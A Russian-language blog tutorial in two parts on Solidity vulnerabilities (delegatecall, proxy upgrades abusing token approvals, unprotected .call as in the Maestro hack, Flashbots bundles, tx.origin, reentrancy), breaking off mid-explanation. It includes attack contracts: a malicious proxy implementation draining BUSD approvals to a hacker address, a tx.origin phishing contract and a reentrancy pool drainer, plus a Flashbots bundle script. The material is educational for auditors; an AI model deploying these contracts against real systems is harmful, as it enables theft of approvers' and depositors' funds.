Всем привет! Это вторая часть про уязвимости в Солидити, которая сделает тебя еще на шаг ближе к профессии хакера аудитора. Летсго собссна.

С вами Matapac и крутейший солидити мэн Danoneo (обязательно, подпишись. После НГ там будет мясо). Мы решили сделать совместную работу, чтобы эта статья вышла быстрее.

Эта статья имеет Level 1 и перед ее прочтением тебе нужно срочно прочитать Solididty Hacker: Level 0 для того, чтобы почувствовать вкус взломов и получить некий багаж знаний.

Добро пожаловать, дорогой читатель!

О чем эта статья?

Я точно рекомендую тебе прочитать эту статью полность вне зависимости от твоего знания в коде. Как минимум, ты узнаешь много нового про свои любимые проекты, а как максимум откроешь Remix и пощупаешь все это сам получив первые эмоции от своих тестнетовских выносов.

Кстати, здесь не так уж и много кода, как в прошлой статье, поэтому читать тебе будет проще.

Если у тебя уже есть опыт в коде, то это вообще замечательно. Ибо сегодня ты сможешь прям углубиться в последний тренд взломов и нетипичных способов их воплощать. Здесь правда много интересной информации.

Ну и конечно спасибо GuideDAO(промокод на 10% "IZIDAO"). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код

Содержание

1. Низкоуровневые вызовы и как они работают?
2. Как работает функция approve?
3. Прокси контракты - ловушка дьявола.
4. Как воруют миллионы с помощью .call?
5. Техника грамотных хакеров aka flashbots
6. Рабочий код флэшбота от Danoneo

Перед тем, как мы перейдем к нырянию в океан хакинга нам нужно сделать шаг на встречу к Solidity advansed. Короче говоря, мы должны разобраться с более сложными штуками, нежели совсем база по Солидити. Поэтому, крайне рекомендую прочитать главу ниже.

Низкоуровневые вызовы и как они работают?

По идее, низкоуровневые вызовы в Солидити применяются практически повсеместно. Все потому, что они отлично работают и иногда без них практически невозможно.

Эти вызовы нужны для того, чтобы обращаться к другим контрактам без использования интерфейса и abi. Например, в блокчейне есть какой-то контракт и мы хотим обратиться к его функции/функциям. Чтобы не изобретать велосипед и не хардкодить мы просто можем воспользоваться низкоуровневым вызовом.

Сейчас мы коснемся только двух таких вызовов.

.call - если ты напишешь свой смартконтракт и обратишься к функции из другого контракта, то она выполнится в контексте контракта откуда ты эту функцию дергаешь.

contract Called {
  event callEvent(address sender, address origin, address from);
  function callMe() public {
    emit callEvent(msg.sender, tx.origin, address(this));
  }
}

contract Caller {
  function makeCalls(address _contractAddress) public {   
    address(_contractAddress).call(abi.encodeWithSignature("callMe()"));
  
  }
}

Вот что мы получим здесь:

1. sender — это контракт Caller.
2. origin — это учетная запись, отправившая транзакцию на выполнение Caller.makeCalls.
3. from — это контракт Called.

.delegatecall - если же ты сделаешь тоже самое, то теперь функция выполнится в контексте уже твоего контракта.

contract Called {
  event callEvent(address sender, address origin, address from);
  function callMe() public {
    emit callEvent(msg.sender, tx.origin, address(this));
  }
}

contract Caller {
  function makeCalls(address _contractAddress) public {   
    address(_contractAddress).delegatecall(abi.encodeWithSignature("callMe()"));
  }
}

А вот что мы получим здесь:

1. senderэто ЕОА!
2. originтакже является EOA!
3. from — это контракт Caller вместо Called (контракт, который фактически генерирует событие).

1. Как работает функция approve?

Для начала давайте разберем БАЗУ. Функция approve - неотъемлемая часть стандарта ERC-20, то есть любой нормальный токен обладает этой функцией.

Как видно на скрине - функция принимает два аргумента: spender и value.

Адрес, которому вы выдали approve, может использовать transferFrom чтобы перевести токены с ВАШЕГО кошелька на любой другой:

И это главная опасность в DeFi. Не поняли почему? Читаем дальше.

2. Прокси контракты - ловушка дьявола

Что такое прокси контракты? Это контракты-прослойки, которые позволяют отделить хранилище данных основного контракта от его логики. Логику эти контракты тянут из имплементации с помощью DELEGATECALL.

Так в чём же опасность?

Существует ОГРОМНОЕ количество прокси-контрактов, которые имеют десятки/сотни тысяч апрувов. А это значит что в любой момент их владельцы могут сменить имплементацию (логику) контракта на ту, которая вызывает transferFrom.

Я распарсил ВСЕ транзакции из основных сетей, затем оставил только approve транзакции. Из них я собрал гига-базу со всеми адресами и их балансами и allowance в токенах, а также контрактами, на которые они дали approve.

Затем незамысловатым скриптом прошелся по опкодам, оставив только контракты с функцией .delegatecall.

Количество потенциальных рагов повергло меня в шок.
К примеру, вот контракт старой пирамиды Forsage:

https://bscscan.com/address/0x5acc84a3e955Bdd76467d3348077d003f00fFB97

Для того, чтобы участвовать - нужно дать контракту approve на трату BUSD.

Что это значит? Это значит что владелец контракта в любой момент может собрать BUSDы с сотен тысяч кошельков.

Для этого ему достаточно вызвать функцию update, указав в качестве имплементации контракт с функцией transferFrom. После чего он может украсть миллионы одной транзакцией:

Код новой имплементации может выглядеть так:

pragma solidity ^0.8.0;

 interface IERC20 {
  function transferFrom(address from, address to, uint256 value) external;
   }
   
     contract ATAKA {
      address HACKER = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
      address BUSD_CONTRACT = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;

      function razebalovo(address jertva, uint256 value) public {
       require(tx.origin == HACKER, "Разрешено только хакеру.");
       IERC20(BUSD_CONTRACT).transferFrom(jertva, HACKER, value);
        }
    }

Естественно, это максимально упрощенный пример. Давайте разберем что делает функция razebalovo:

После того как овнер поменял имплементацию на контракт с таким кодом - он может вызвать razebalovo чтобы украсть BUSD с любого апрувера.

Можно переписать функцию, чтобы она принимала массив адресов, и проходилась по ним в цикле. Тогда можно будет "обчистить" сотни адресов ОДНОЙ транзакцией. Например как тут.

А самое страшное - овнер-хакер может сделать это всё в одном блоке, вы даже не успеете ничего предпринять. Но об этом позже.

Сейчас же поговорим о функции CALL - и как с её помощью выносят $ млн.

3. Как воруют миллионы используя .call

Принцип атаки на аппруверов практически такой же как в примере с DELEGATECALL, но с одним отличием.

С помощью незащищенного .call ЛЮБОЙ адрес может ограбить апруверов.
Не только owner контракта. Кто угодно. Даже вы.

С помощью этой уязвимости (unprotected call) было совершено ОЧЕНЬ много злодеяний. Примеры можно глянуть здесь: https://revoke.cash/exploits

Рассмотрим на примере недавнего хака Maestro (похищено ~280 ETH):

Кто не знает, Maestro - это телеграм-бот для снайпинга щитков. Все покупки/продажи происходят через их роутер (чтобы брать комиссию с пользователей).

Соответственно, пользователь должен дать approve этому контракту-роутеру.

Злоумышленник использовал незащищенный .call в роутере, и угнал кучу токенов с пользователей бота:

Вообще, .call на внешние контракты встречается повсеместно. Это нужно для того, чтобы контракт мог взаимодействовать с другими контрактами, делать трансферы/свапы и т.д.

Но как правило эти .call защищены - обычно ограничен список адресов, на которые можно делать вызов, либо список функций, которые можно вызывать.

В случае с Maestro никакой защиты не было. Можно было подставить любой адрес, и отправить на него любую коллдату. Единственное препятствие - код контракта не верифнут на etherscan, поэтому контракт нужно было декомпилировать.

Лично мы вам советуем этот декомпилятор: https://library.dedaub.com/decompile

После декомпиляции 0x80a64c6d7f12c47b7c66c5b4e20e72bc1fcd5d9e хакер обнаружил вот такую функцию:

Подробнее про varg1 и коллдату:

Коллдата - это байтовое представление функции. То есть знакомая вам из 1 главы функция transferFrom в "очеловеченном" виде выглядит так:

А в байтовом представлении так:

Обратите внимание на селектор функции 0x23b872dd - это первые 4 байта (или первые 8 символов после 0x) в коллдате.

0x23b872dd - селектор функции transferFrom. Он получается из первых 8 символов keccak-256 хэша от названия функции и переменных, которые она принимает. То есть хэш от transferFrom(address,address,uint256).

Можете убедиться здесь: https://emn178.github.io/online-tools/keccak_256.html

Теперь, надеюсь, с коллдатой вам стало все понятней. Двигаемся дальше.

4. Техника грамотных хакеров

Много раз вы слышали про flashbots и много раз было упомянуто, что именно хакеры на каждом шагу используют этих ботов. Но как? Зачем? Почему?

Сейчас ты все узнаешь!

Если кто то до сих пор не знает что это - объясняем:

Флешботы - это ребята, которые немного модифицировали стандартный geth клиент и внедрили туда mev-boost. Эта штука позволяет валидаторам менять порядок транзакций в блоке для извлечения максимальной выгоды для себя.

На данный момент практически все валидаторы в мейннете используют модифицированные клиенты с mev-boost. Также альтернатива флешботам есть и в BSC, но об этом может быть в другой раз.

Но что это даёт пользователям сети?

Теперь любой пользователь может отправить приватную транзакцию, минуя публичный мемпул. Но что еще круче - он может отправить бандл из нескольких транзакций. В том числе на условиях того, что либо ВСЕ транзакции из бандла будут гарантированно включены блок, либо НИ ОДНОЙ. Это защищает от фейлов и непредсказуемых результатов. Идеальный инструмент для хакеров!

Примеры использования флешботов:

1. Вывод активов со скомпрометированных кошельков.

Представьте что вы проебали приватный ключ от своего кошелька. Теперь его захватил свипер, который моментально крадёт всю нативку, которая поступает на баланс. Вы не можете его обойти в честной борьбе - он готов сжигать до 100% от поступившей суммы на газ.

А у вас там нфтшки, стейкинги, ДРОПЫ...

Так что же делать? Правильно, использовать флешбот бандл.К примеру вы хотите достать кейки в бск сети из стейкинга и перевести на безопасный адрес. Делаем бандл с нужной логикой:

Обратите внимание - все три транзакции находятся в одном блоке. Вы НЕ СМОЖЕТЕ отправить такой бандл в публичный мемпул - стандартная geth нода не даст вам отправить транзакции с адреса без баланса.

Этой техникой активно пользуются дрейнеры и фишеры, чтобы в одном блоке красть у жертвы всё, не давая ей шансов среагировать и спастись.

2. Симуляция атаки и гарантия что её не перехватят.

При планировании атаки хакеры могут симулировать сложную цепочку из транзакций, чтобы убедиться что всё сработает.

Например, хакер получил приватник от прокси-овнера, и хочет украсть деньги у всех аппруверов.

Чтобы сделать это максимально эффективно - он может сделать флешбот бандл из всех транзакций, уместив всю грязь в одном блоке.

В таком случае НИКТО не сможет спастись - атаку можно будет увидеть лишь ретроспективно, после того как блок будет подписан. Но увы, будет слишком поздно.

Вот пример такой атаки:

"Эй, вы тут красиво лечите про флэшботы. А слабо самим показать рабочий пример?" - подумаете вы. А мы ответим, что не слабо.

Danoneo (обязательно подписку) подготовил для вас отличный рабочий вариант на питоне, который позволит спасти ваши USDT с кошелька со свипером

from web3 import Web3, HTTPProvider
from web3.types import TxParams, Wei
from time import sleep

import json
import time
import requests

rpc_url = "https://rpc.ankr.com/eth"
flashbots_url = "https://relay.flashbots.net"
web3 = Web3(Web3.HTTPProvider(rpc_url))
w3 = web3

flashbots_private_key = '0x0000000000000000000000000000000000000000000000000000000000000120'

# ЗДЕСЬ УКАЗЫВАЕМ АДРЕСА И ПРИВАТНИКИ

main_account = web3.to_checksum_address('0x...') private_key = 'приватник от адреса с нативкой'

compromissed_account = web3.to_checksum_address('0x...')
compromissed_pkey = 'приватник от скомпрометированного адреса'

TOKEN_address = web3.to_checksum_address("0xdac17f958d2ee523a2206206994597c13d831ec7") #АДРЕС USDT
TOKEN_abi = json.loads('[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]')
TOKEN_contract = w3.eth.contract(address=TOKEN_address, abi=TOKEN_abi)

# ФУНКЦИЯ ДЛЯ ЗАПРОСОВ

def make_response(body):

    body = json.dumps(body)    
    message = messages.encode_defunct(text=Web3.keccak(text=body).hex())    
    signature = (Account.from_key(flashbots_private_key).address) + ':' + Account.sign_message(message, flashbots_private_key).signature.hex()    
    headers = {"Content-Type": "application/json", "X-Flashbots-Signature": signature}    
    response = requests.post(flashbots_url, headers=headers, data=body)    return response

while True:

    # РАССЧИТЫВАЕМ ГАЗ
    
    pending_block = web3.eth.get_block(block_identifier='latest', full_transactions=True)    
    pending_transactions = pending_block['transactions']    
    block_number = pending_block['number']

    print (block_number)
    
    print (pending_block['baseFeePerGas'])
    
    base_fee = pending_block['baseFeePerGas']    
    max_priority_fee = 5    
    max_priority_fee = web3.to_wei(max_priority_fee, 'gwei')
    
    #=========================================================
    
    # СОБИРАЕМ ТРАНЗАКЦИИ КОТОРЫЕ БУДЕМ ЗАСЫЛАТЬ БАНДЛОМ
    
    nonce = web3.eth.get_transaction_count(main_account)    
    comp_nonce = web3.eth.get_transaction_count(compromissed_account)
    
    USDT_balance = TOKEN_contract.functions.balanceOf(compromissed_account).call()
    
    tx1 = { #транзакция спонсора, чтобы второй кошелек мог оплатить газ        
    'chainId': 1,        
    'type': 2,        
    'nonce': nonce,        
    'from': main_account,        
    'value': 50000*(base_fee+max_priority_fee),        
    'to': compromissed_account,        
    'gas': 21000,        
    'maxFeePerGas': base_fee+max_priority_fee,        
    'maxPriorityFeePerGas': max_priority_fee    
    }
    
    tx2 = TOKEN_contract.functions.transfer(main_account, USDT_balance).build_transaction({ #перевод USDT на основной кошелек        
    'chainId': 1,        
    'type': 2,        
    'nonce': comp_nonce,        
    'from': web3.to_checksum_address(compromissed_account),        
    'gas': 50000,        
    'maxFeePerGas': base_fee+max_priority_fee,        
    'maxPriorityFeePerGas': max_priority_fee    
    })
    
    signed_tx1 = web3.eth.account.sign_transaction(tx1, private_key)    
    raw_tx1 = signed_tx1.rawTransaction
    
    signed_tx2 = web3.eth.account.sign_transaction(tx2, compromissed_pkey)    
    raw_tx2 = signed_tx2.rawTransaction
    
    #========================================================
    
    # ЗАПРОС НА СИМУЛЯЦИЮ БАНДЛА 
    
    params = [{"txs":[str(web3.to_hex(raw_tx1)),str(web3.to_hex(raw_tx2))],"blockNumber":str(web3.to_hex(block_number+1)),"stateBlockNumber":"latest"}] 
    
    body = {"jsonrpc":"2.0","id":1,"method":"eth_callBundle","params": params}    
    response = make_response(body)
    
    # ЗАПРОС НА ОТПРАВКУ БАНДЛА В СЕТЬ
    
    params = [{"txs":[str(web3.to_hex(raw_tx1)),str(web3.to_hex(raw_tx2))],"blockNumber":str(web3.to_hex(block_number+1))}] 
    body = {"jsonrpc":"2.0","id":1,"method":"eth_sendBundle","params": params}    
    response = make_response(body)
    print("Bundle sent:")    
    print(response)    
    print("")    
    print(response['result'])    
    response = response['result']    
    bundle_hash = response['bundleHash']    
    print(bundle_hash)
    
    # ЗАПРОС НА ПОЛУЧЕНИЕ СТАТУСА БАНДЛА
    
    params = [{"bundleHash":str(bundle_hash),"blockNumber":str(web3.to_hex(block_number+1))}] 
    body = {"jsonrpc":"2.0","id":1,"method":"flashbots_getBundleStatsV2","params": params}    
    response = make_response(body)
    
    print("Bundle STATUS:")    
    print(response.json())    
    print("")    
    print("Block NUMBER:")    
    print(block_number)

Заключение!

Вот и подошла к концу уже вторая из серии статьей на тему уязвимостей смарт контрактов. Впереди вас ждут новые части, где с каждым разом мы будем нырять все глубже и глубже. Пока не преисполнимся и не объединимся в сильное аудиторское агентство, хех

Во-первых, нужно перечитывать эту статью неоднократно, если тебе что-то вдруг непонятно. Не бойся гуглить, потому что это лучший навык, а также обязательно применяй этот код в Remix и экспериментируй с ним

Во-вторых, подпишись на наши каналы

Matapac
Danoneo

В-третьих, спасибо GuideDAO(промокод на 10% "IZIDAO"). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код

Скоро увидимся!

Всем привет, с вами Matapac. Сегодня мы с вами погрузимся в мир солидити и перейдем на его темную сторону. Да, мы рассмотрим уязвимости и как их юзать и следовательно, как их не допускать

Вы уже обратили внимание на название, а именно "Level 0". Да, это значит, что будут левелы 1,2,3...и я полагаю их может быть бесконечное количество. По мере развития языка, стандартов в EVM мы получаем все новые и новые проблемы, которые хакеры и аудиторы используют в свою пользу - по разному, разумеется.

В сегодняшней части мы не будем погружаться в основы Солидити, для этого у вас есть прекрасный интернет. Зато мы рассмотрим самые базовые уязвимости в Солидити, но от этого они не перестали быть актуальными. Я специально подбирал для вас такие темы, которые на сегодняшний день можно встретить на просторах EVM-чейнов.

В следующих же статьях мы будет рассматривать более хардовые уязвимости, MeV ботов и прочее веселье, но пока... Добро пожаловать в это хакерское аудиторское чтиво!

ИНТРО

Как уже многие знают не так давно я начал учить Солидити в web3 школе GuideDAO, у меня начало получаться и я открыл для себя направление аудита.
Как же много там прекрасного. Для любителей головоломок (за решение которых вам еще и заплатят) самое то. Но дело тут еще в том, что я могу быть сконцентрирован только на смарт контрактах и ресерче в пределах Solidity. В общем, только EVM - только хардкор.

Здесь мы не будем говорить о том, как стать аудитором смарт-контрактов, какие нужны скиллы, какие тулзы нужно уметь использовать - все это не в этот раз.

В этот раз более практично и гораздо интересней!

Для кого эта статья?

Если коротко, то для любого криптана.
Если не так коротко, то каждому кто в крипте эта статья будет полезной. Но почему?

Во-первых, для людей незнакомыми с кодом эта статья будет читаться достаточно легко. Вы сможете понять, как тут все устроено и чего стоит опасаться в контрактах. Также для многих из вас, я надеюсь, это чтиво откроет новые горизонты и сподвигнет получить софт-скиллы или ресерчить разные контракты в поиске подобных уязвимостей (чтобы оповестить об этом проект и забрать вознаграждение, конечно же)

Во-вторых, если у вас уже есть понимание кода, то это будет еще более полезным. После этой статьи вы поймете какие ошибки не стоит допускать в своих будущих проектах (надеюсь, проекты у вас случатся. Билдите, братья) или даже это станет для вас базой, чтобы ступить на путь аудита.

В-третьих, если вы хай-лвл аудитор и солидити бог, то это просто будет отличным напоминанием базовых ошибок, которые все еще довольно часто допускаются в проектах.

А если ты тоже хочешь пойти учиться в GuideDAO, то можешь воспользоваться промокод на 10% "IZIDAO"

Наши планы на сегодня

Все очень просто. Под каждую уязвимость отдельная глава, внутри главы будет так:

• Описание уязвимости
• Пример кода с моими заметками на понятном языке
• Пример хак-кода
• Пример кода в котором мы исправляем эту уязвимость

Договорились? Договорились.

Погнали!

Содержание

1. Tx.origin == msg.sender или твой кошелек сам отправит деньги хакерам
2. Reentrancy или благодаря чему появился Ethereum Classic
3. Block.timestamp или случайности не случайны
4. Delegatecall или как тебя заменят
5. Denial of Service или заблокировать функцию контракта
6. Honeypot или как заработать на хакерах
7. Accessing Private Data или как раздобыть приватную инфу из контракта

1. Tx.origin == msg.sender или твой кошелек сам отправит деньги хакерам

Пожалуй, моя одна из самых любимых уязвимостей и начать с нее будет лучше всего. Объясню почему: это очень просто для понимания и это все еще часто встречается в контрактах даже у опытных разработчиков.

ВАЖНО ПОНЯТЬ: tx.origin этот тот кто изначально запустил транзакцию. msg.sender это последнее звено в транзакции.

Пример:

Максим со своего кошелька вызывает контракт А, контракт А -> контракт B, контракт B -> контракт C

Кто вызвал контракт C по мнению tx.origin? кошелек Максима
Кто вызвал контракт С по мнению msg.sender? контракт B

Смоделируем ситуацию:

Максим задеплоил этот контракт и положил на него 2 эфира.

contract MaxCapital {
//создаем переменную с типом адрес и называем owner
    address public owner; 
//эта "функция" срабатывает автоматически, когда деплоится контракт...
//тот адрес, что задеплоил контракт сохраняется в переменной owner
    constructor() payable {
        owner = msg.sender; 
    }
//функция отправки денег с контракта. В скобочках: на какой адрес, сумма
     function withdrawMoney(address payable _to, uint _amount) public {
//ТА САМАЯ ОШИБКА. Проверка того, что tx.origin = адресу в owner 
        require(tx.origin = = owner, "U are not MaxWylde"); 
        (bool sent, ) = _to.call{value: _amount}(""); 
        require(sent, "Failed to send Ether");
    }
//здесь мы просто смотрим баланс кошелька
     function balance() public view returns (uint) {
        return address(this).balance;
    }
}

В чем ошибка?

Проверка require(tx.origin == owner) говорит: Равен ли адрес начавший транзакцию, которая вследствии вызвала эту функцию owner(кошельку Максима).
Смотри дальше.

Матапак нашел этот контракт, обнаружил внутри уязвимость и решил ей воспользоваться. Для этого ему понадобиться:

• Написать контракт hack с функцией attack
• Включить навыки социальной инженерии и хитрым способом заставить Макса вызвать функцию attack. Самое простое это попросить у Максима отправить нам немного eth на газ, будем надеяться он не поймет, что мы ему скинем адрес контракта

Сейчас покажу, как простая транзакция от Максима на наш контракт позволит нам забрать все его деньги с контракта

contract Hack {
//с этого контракта будем вызывать функию в контракте Максима
    address payable public owner;
    MaxCapital maxCapital; 

      constructor(MaxCapital _maxCapital) {
        maxCapital = MaxCapital(_maxCapital);
        owner = payable(msg.sender);
    }
//эта функция дергает функцию withdraw из контракта Максима...
//но она не пройдет проверку tx.origin = = owner, если мы ее вызовем
    function attack() public {
        maxCapital.withdraw(owner, address(maxCapital).balance); 
    }
//функция приема денег на наш контракт, здесь произойлет вся магия...
//когда Макс отправляет нам деньги он активирует эту функцию принятия...
//а в этой функции срабатывает наша функция attack...
//таким образом, мы проходим проверку на tx.origin
      receive() external payable {
            attack(); 
    }

Это достаточно хитрый способ, но он один из многих. Все упирается только в смекалку хакера. По идее, мы просто засунули функцию вывода с контракта Максима в функцию recieve (приема денег). Соотвественно, когда Макс отправляет нам деньги, то он как бы своим кошельком активируют функции recieve -> attack -> withdrawMoney.

Как избежать этой проблемы?

Самые внимательные уже все поняли. tx.origin опасно использовать, а вот msg.sender отлично подходит, ибо в таком случае вызывающий функцию будет не кошелек Макса, а наш контракт. Проверка должна быть такой:

require(msg.sender = = owner, "U are not MaxWylde");

Вследующих частях мы еще коснемся этой уязвимости, но разберем другие виды ее использования. Например, через мультисиг и мев ботов.

2. Reentrancy или благодаря чему появился Ethereum Classic

в 2016 году был только один Ethereum и на нем появилось первое большое DAO под названием The DAO (да, вот так оригинально). Там было собрано 3.5 млн ETH под управлением сообществом. Все шло хорошо, пока один хакер не обнаружил внутри уязвимость, которая позволила снимать эфиры с этого DAO без остановки. Он так и поступил, забрав 25% всей эмиссии.

Принимались разные способы остановить это. Например, другие "белые" хакеры паралелльно использовали эту же уязвимость, чтобы забрать как можно больше и вернуть сообществу. Но лучшим вариантом оказалось решение форкнуть сеть Ethereum с откатом до этого взлома. Таким образом, токены хакера сильно укатаются в цене, а сообщество заживет с чистого листа. Так и появлися всеми нами любимый Ethereum, а тот оригинал теперь зовется Ethereum Classic.

А ведь все дело было в уязвимости Reentrancy, которая по сей день встречается в контрактах, классика.

Смоделируем ситуацию:

Максим задеплоил контракт с пулом, куда каждый желающий может закинуть свои эфиры и при желании их вернуть.

Этот контракт может только принимать деньги и отдавать. Записывая каждого вкладчика в mapping. Давайте посмотрим на код.

contract MaxPool {
//Создаем mapping balances, где адрес вкладчика привязывается к его сумме 
    mapping(address => uint) public balances;
//принимаем деньги на контракт...
//и сразу записываем в balances адрес вкладчика и сумму
    function depositPool() public payable {        
      balances[msg.sender] += msg.value;    
   }
//функция для рефаунда вкладчикам
    function refundMoney() public {      
      address balanceMan = msg.sender;
//если вызвавший эту функцию вложил в этот пул больше 0...
//значит он может забрать свое вложенное        
       if (balances[balanceMan] > 0) {
        (bool success, ) = balanceMan.call{value: balances[balanceMan]}("");
        require(success, "BUY-BUY");
//ОШИБКА! здесь мы зануляем баланс вкладчика, после того как он все снял
//выглядит логично, чтобы не было повторных рефаундов
        balances[balancePerson] = 0;
      }
    }
//просто функция просмотра баланса этого контракта
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
 }

В чем ошибка?

Очень логично обнулить баланс человека в пуле, после того, как он свои деньги забрал. На первый взгляд все выглядит шикарно, но есть одно большое НО.
И пока я вам его не раскрою, давайте сначала покажу контракт хакера.

contract HackPool {
//создаем переменную вложения в 1 эфир
    uint constant AMOUNT = 1 ether;
    MaxPool maxPool;
//при деплое мы внесем адрес контракта Макса и закрепим его в конструкторе
    constructor(address _maxPoolAddress) {
        maxPool = MaxPool(_maxPoolAddress);
    }
//мы просто отправляем 1 эфир напрямую в контракт Макса...
//через обращение к функции depositPool
    function depositMaxPool() external payable {
        maxPool.depositPool{value: AMOUNT}();
    }
//эта функция всего лишь запрашивает рефаунд, но дальше происходит...
    function hack() external {
        maxPool.refundMoney();
    }
//знакомая нам функция приема средств на контракт...
//после активации функции выше мы запрашиваем рефаунд...
//а с рефаундом активируется эта функция с повторным рефаундом...
//и так бесконечно, пока мы не осушим пул 
    receive()  external payable {
//проверка, что у Макса на контракте еще есть деньги
        if(maxPool.checkBalance() > 0) {
            maxPool.refundMoney();
       }
    }
}

Наверное, вы до сих пор не до конца поняли почему так произошло? Рассказываю:

Все очень просто.

